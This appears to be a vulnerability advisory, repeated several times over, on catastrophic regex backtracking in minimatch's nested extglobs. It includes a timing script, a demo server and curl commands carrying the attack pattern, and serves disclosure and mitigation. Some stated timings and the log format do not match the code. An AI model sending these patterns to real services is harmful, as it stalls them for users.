poc4-server.mjs:import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`))Terminal 1 -- start the server:
node poc4-server.mjsTerminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"} time_total: 63.022047sTerminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=falseThe server reports
"ms":"0"for the benign request -- the legitimate request itself requires no CPU time. The entire 63-secondtime_totalis time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.Depth 3 (
*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+()extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).Mitigation available: passing
{ noext: true }tominimatch()disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
๐จ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
Summary
Nested
*()extglobs produce regexps with nested unbounded quantifiers (e.g.(?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern*(*(*(a|b)))and an 18-byte non-matching input,minimatch()stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the defaultminimatch()API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects+()extglobs equally.
Details
The root cause is in
AST.toRegExpSource()atsrc/ast.ts#L598. For the*extglob type, the close token emitted is)*or)?, wrapping the recursive body in(?:...)*. When extglobs are nested, each level adds another*quantifier around the previous group:: this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}`This produces the following regexps:
Pattern Generated regex *(a|b)/^(?:a|b)*$/*(*(a|b))/^(?:(?:a|b)*)*$/*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/These are textbook nested-quantifier patterns. Against an input of repeated
acharacters followed by a non-matching characterz, V8's backtracking engine explores an exponential number of paths before returningfalse.The generated regex is stored on
this.setand evaluated insidematchOne()atsrc/index.ts#L1010viap.test(f). It is reached through the standardminimatch()call with no configuration.Measured times via
minimatch():
Pattern Input Time *(*(a|b))ax30 +z~68,000ms *(*(*(a|b)))ax20 +z~124,000ms *(*(*(*(a|b))))ax25 +z~116,000ms *(a|a)ax25 +z~2,000ms Depth inflection at fixed input
ax16 +z:
Depth Pattern Time 1 *(a|b)0ms 2 *(*(a|b))4ms 3 *(*(*(a|b)))270ms 4 *(*(*(*(a|b))))115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as
poc4-validate.mjsand run withnode poc4-validate.mjs:import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=falseStep 2 -- HTTP server (event loop starvation proof)
Save as
poc4-server.mjs:import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`))Terminal 1 -- start the server:
node poc4-server.mjsTerminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"} time_total: 63.022047sTerminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=falseThe server reports
"ms":"0"for the benign request -- the legitimate request itself requires no CPU time. The entire 63-secondtime_totalis time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.Depth 3 (
*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+()extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).Mitigation available: passing
{ noext: true }tominimatch()disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
๐จ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
Summary
Nested
*()extglobs produce regexps with nested unbounded quantifiers (e.g.(?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern*(*(*(a|b)))and an 18-byte non-matching input,minimatch()stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the defaultminimatch()API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects+()extglobs equally.
Details
The root cause is in
AST.toRegExpSource()atsrc/ast.ts#L598. For the*extglob type, the close token emitted is)*or)?, wrapping the recursive body in(?:...)*. When extglobs are nested, each level adds another*quantifier around the previous group:: this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}`This produces the following regexps:
Pattern Generated regex *(a|b)/^(?:a|b)*$/*(*(a|b))/^(?:(?:a|b)*)*$/*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/These are textbook nested-quantifier patterns. Against an input of repeated
acharacters followed by a non-matching characterz, V8's backtracking engine explores an exponential number of paths before returningfalse.The generated regex is stored on
this.setand evaluated insidematchOne()atsrc/index.ts#L1010viap.test(f). It is reached through the standardminimatch()call with no configuration.Measured times via
minimatch():
Pattern Input Time *(*(a|b))ax30 +z~68,000ms *(*(*(a|b)))ax20 +z~124,000ms *(*(*(*(a|b))))ax25 +z~116,000ms *(a|a)ax25 +z~2,000ms Depth inflection at fixed input
ax16 +z:
Depth Pattern Time 1 *(a|b)0ms 2 *(*(a|b))4ms 3 *(*(*(a|b)))270ms 4 *(*(*(*(a|b))))115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as
poc4-validate.mjsand run withnode poc4-validate.mjs:import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=falseStep 2 -- HTTP server (event loop starvation proof)
Save as
poc4-server.mjs:import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`))Terminal 1 -- start the server:
node poc4-server.mjsTerminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"} time_total: 63.022047sTerminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=falseThe server reports
"ms":"0"for the benign request -- the legitimate request itself requires no CPU time. The entire 63-secondtime_totalis time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.Depth 3 (
*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+()extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).Mitigation available: passing
{ noext: true }tominimatch()disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
๐จ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
Summary
Nested
*()extglobs produce regexps with nested unbounded quantifiers (e.g.(?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern*(*(*(a|b)))and an 18-byte non-matching input,minimatch()stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the defaultminimatch()API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects+()extglobs equally.
Details
The root cause is in
AST.toRegExpSource()atsrc/ast.ts#L598. For the*extglob type, the close token emitted is)*or)?, wrapping the recursive body in(?:...)*. When extglobs are nested, each level adds another*quantifier around the previous group:: this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}`This produces the following regexps:
Pattern Generated regex *(a|b)/^(?:a|b)*$/*(*(a|b))/^(?:(?:a|b)*)*$/*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/These are textbook nested-quantifier patterns. Against an input of repeated
acharacters followed by a non-matching characterz, V8's backtracking engine explores an exponential number of paths before returningfalse.The generated regex is stored on
this.setand evaluated insidematchOne()atsrc/index.ts#L1010viap.test(f). It is reached through the standardminimatch()call with no configuration.Measured times via
minimatch():
Pattern Input Time *(*(a|b))ax30 +z~68,000ms *(*(*(a|b)))ax20 +z~124,000ms *(*(*(*(a|b))))ax25 +z~116,000ms *(a|a)ax25 +z~2,000ms Depth inflection at fixed input
ax16 +z:
Depth Pattern Time 1 *(a|b)0ms 2 *(*(a|b))4ms 3 *(*(*(a|b)))270ms 4 *(*(*(*(a|b))))115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as
poc4-validate.mjsand run withnode poc4-validate.mjs:import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=falseStep 2 -- HTTP server (event loop starvation proof)
Save as
poc4-server.mjs:import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`))Terminal 1 -- start the server:
node poc4-server.mjsTerminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"} time_total: 63.022047sTerminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=falseThe server reports
"ms":"0"for the benign request -- the legitimate request itself requires no CPU time. The entire 63-secondtime_totalis time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.Depth 3 (
*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+()extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).Mitigation available: passing
{ noext: true }tominimatch()disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
๐จ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
Summary
Nested
*()extglobs produce regexps with nested unbounded quantifiers (e.g.(?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern*(*(*(a|b)))and an 18-byte non-matching input,minimatch()stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the defaultminimatch()API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects+()extglobs equally.
Details
The root cause is in
AST.toRegExpSource()atsrc/ast.ts#L598. For the*extglob type, the close token emitted is)*or)?, wrapping the recursive body in(?:...)*. When extglobs are nested, each level adds another*quantifier around the previous group:: this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}`This produces the following regexps:
Pattern Generated regex *(a|b)/^(?:a|b)*$/*(*(a|b))/^(?:(?:a|b)*)*$/*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/These are textbook nested-quantifier patterns. Against an input of repeated
acharacters followed by a non-matching characterz, V8's backtracking engine explores an exponential number of paths before returningfalse.The generated regex is stored on
this.setand evaluated insidematchOne()atsrc/index.ts#L1010viap.test(f). It is reached through the standardminimatch()call with no configuration.Measured times via
minimatch():
Pattern Input Time *(*(a|b))ax30 +z~68,000ms *(*(*(a|b)))ax20 +z~124,000ms *(*(*(*(a|b))))ax25 +z~116,000ms *(a|a)ax25 +z~2,000ms Depth inflection at fixed input
ax16 +z:
Depth Pattern Time 1 *(a|b)0ms 2 *(*(a|b))4ms 3 *(*(*(a|b)))270ms 4 *(*(*(*(a|b))))115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as
poc4-validate.mjsand run withnode poc4-validate.mjs:import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=falseStep 2 -- HTTP server (event loop starvation proof)
Save as
poc4-server.mjs:import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`))Terminal 1 -- start the server:
node poc4-server.mjsTerminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"} time_total: 63.022047sTerminal 1 (server log):
